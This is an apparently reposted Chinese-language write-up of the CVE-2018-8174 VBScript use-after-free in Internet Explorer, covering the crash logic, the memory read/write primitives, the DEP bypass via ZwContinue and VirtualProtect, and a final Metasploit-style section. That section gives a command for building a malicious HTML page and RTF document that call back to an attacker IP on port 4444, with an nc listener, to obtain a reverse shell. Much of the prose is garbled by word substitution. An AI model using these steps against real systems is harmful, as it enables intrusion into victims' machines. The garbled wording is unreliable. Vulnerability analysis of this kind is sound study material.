Windows VBScript引擎RCE漏洞之CVE-2018-8174分析与利用

一、破绽简介

VBScript引擎处置惩罚内存中工具的要领中存在一个远程履行代码破绽。该破绽可能以一种进击者可以在当前用户的高低文中履行随意率性代码的要领来破坏内存。成功使用此破绽的进击者可以得到与当前用户相同的用户权限。假如当前用户应用治理用户权限登录,则成功使用此破绽的进击者可以节制受影响的系统。然落后击者可以安装法度榜样; 查看,变动或删除数据; 或创建具有完全用户权限的新帐户。

在基于Web的进击情形中,进击者能经由过程Internet Explorer使用此破绽的特定网站,然后诱应用户查看该网站。进击者还可以在承载IE出现引擎的利用法度榜样或Microsoft Office文档中嵌入标记为“安然初始化”的ActiveX控件。进击者还可以使用受到破坏的网站和吸收或托管用户供给的内容或广告的网站。这些网站可能包孕可能使用此破绽的特制内容。

2018年5月8日,微软宣布了安然补丁,影响盛行的大年夜部分系统版本。

破绽基础信息

破绽ID

CVE-2018-8174

破绽名称

Microsoft VBScript引擎远程履行代码破绽

破绽类型

远程代码履行

要挟类型

UAF

影响系统版本

Windows 7 x86和x64版本、RT8.1、Server2008及R2/2012及R2/2016、8.1、10及办事器等版本

二、破绽测试

系统情况

Win7 32

IE

IE8

EXP

https://www.exploit-db.com/exploits/44741/

三、破绽道理

因为样本肴杂严重,部分代码见图1,这里采纳简化POC进行阐发,代码见图2。

图1 样本采纳了严重肴杂

图2 Crash Poc

Crash Poc中定义两个数组array_a和array_b,并声清楚明了一个类MyTest,且重载了析构函数Class_Terminate,UAF中创建MyTest的实例赋值给数组array_a (1),并经由过程Erase array_a清空array_a中的元素,在析构array_a中的元素的时刻会触发脚本中Class_Terminate的调用,在Class_Terminate中增添了一个array_b(0)对MyTest实例的引用(MyTest实例引用计数+1),再经由过程array_a (1)= 1删除array_a (1) 对MyTest实例的引用(MyTest实例引用计数-1)来平衡引用计数,这时刻MyTest实例会被开释,然则array_b(0)仍旧保留了这个MyTest实例的引用,从而array_b(0)指向了被开释的MyTest实例的内存,终极在MyTestVuln中经由过程b(0) = 0造访未分配内存触发破绽。

当我们启用了页堆的IE浏览器运行这个PoC时,我们可以察看到OLEAUT32!VariantClear函数会发生崩溃:调用被开释的内存时呈现造访冲突(Access Violation)非常。

从堆信息中可以看到eax(0x14032fd0)在vbscript!VbsErase的调用栈中被开释了,vbscript!VbsErase即对应了脚本中的Erase,而eax恰是被VBScriptClass::Release函数开释的VBScriptClass工具也便是脚本中的MyTest实例。VBScriptClass::Release的逻辑如下图:

VBScriptClass::Release中首先对VBScriptClass的引用计数-1(&VBScriptClass+0×4),假如引用计数=0则调用VBScriptClass::TerminateClass,调用VBScriptClass::TerminateClass时由于在脚本中重载了Class_Terminate函数,以是得到了一次脚本履行的时机,这里就可以在开释VBScriptClass的内存前将即将开释的VBScriptClass内存地址保存脚本节制的变量中(Set array_b(0) =array_a(1)),并经由过程array_a (1) = 1平衡引用计数,终极开释内存。

Set array_a(1) = New MyTest时,VBScriptClass引用计数为2。

Erase array_a 返回后,MyTest指向的内存已开释,但array_b(0)仍指向这块被开释的内存,

形成了吊挂指针,见下图:

四、破绽使用阐发

UAF破绽使用的关键是若何用这个吊挂指针来操作内存。该破绽使用多次UAF来完成类型肴杂,经由过程捏造精数组工具完成随意率性地址读写,终极经由过程构造工具后开释来获取代码履行,代码履行没有应用传统的ROP技巧或GodMod技巧,而是经由过程脚本结构Shellcode使用。

1)捏造数组达到随意率性写目的

经由过程UAF制造2个类的mem成员指向的偏移相差0x0c字节,经由过程对2个工具mem成员读的写操作捏造一个0x7fffffff大年夜小的数组。

捏造的数组大年夜致环境是:一维数组,元素有7fffffff个,每个元素占用1字节,元素内存地址为0。以是该数组可造访的内存空间为0x00000000到0x7ffffffff*1。是以经由过程该数组可以随意率性地址读写。然则在lIlIIl在寄放的时刻,寄放的类型是string类型,故只必要将该数据类型将会被改动为0x200C,即VT_VARIANT|VT_ARRAY,数组类型,即可达到目的。

2)读取指定参数的内存数据

[1] [2]下一页

进击代码中,主要应用上面的函数来读取参数所指定的内存地址的数据。使用思路是在VBS中数据类型为bstr类型,经由过程vb中lenb(bstr xx)返回字符串地址前4个字节的内容(即bstr类型size域内容)的特点,获取指定内存读能力。 如上述代码所示,要是传进来的参数为addr(0x11223344),首先该数值加4,为0x11223348,然后设置variant类型为8(string类型)。然后调用len函数,发明是BSTR类型,vbscript会觉得其向前4字节即0x11223344便是寄放长度的地址内存。是以履行len函数,实际上就返回了拟订参数内存地址的值。

3)获取关键DLL基址

经由过程DOSmodeSearch获取。

经由过程泄露CScriptEntryPoint工具的虚函数表地址,该地址属于Vbscript.dll。

因为vbscript.dll导入了msvcrt.dll,是以经由过程遍历vbscript.dll导入表获取msvcrt.dll基地址, msvcrt.dll又引入了kernelbase.dll、ntdll.dll,着末可以获取NtContinue、VirtualProtect函数地址。

4)绕过DEP履行shellcode

a)使用随意率性读写的手段改动某个VAR的type类型为0x4d,再赋值为0让虚拟机履行VAR::Clear函数,如下图显示。

b)经由过程精心节制使代码履行ntdll!ZwContinue函数,第一次参数CONTEXT布局体也是进击者精心构造的,见下图。

c)ZwContinue的第一个参数是指向CONTEXT布局体的指针,可谋略出EIP和ESP在CONTEXT中的偏移。

d)实际运行时CONTEXT中的Eip和Esp的值以及进击者的措施,见下图。

进击者将CONTEXT中的EIP设置为VirutalProtect,将ESP中的返回地址和VirtualProtect的第一个参数,都设置为shellcode的肇端地址。当ZwContinue履行后直接跳到VirtualProtect第一条指令开始履行,

根据进击者构造的参数将shellcode所在内存设置为可履行状态,当VirtualProtect返回时就会跳到shellcode履行。

着末调用WinExec弹出谋略器。

五、MSF使用

情况筹备

目标机

Win7以及安装具有该破绽的office

进击机

Kali linux

Msf组件

https://github.com/Sch01ar/CVE-2018-8174_EXP

天生带有恶意 VBscript 的 html 页面和 word 文档

python CVE-2018-8174.py -u http://192.168.106.139/exploit.html -o msf.rtf -i 192.168.106.139 -p 4444

把 explot.html 复制到 /var/www/html目录,

把msf.rtf复制到 /root/.msf4/local目录。

开启 apache 办事

nc监听4444端口

在靶机的 IE 浏览器打开恶意 URL,或者打开 word 打开 msf.rtf

收到反弹shell

上一页[1] [2]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包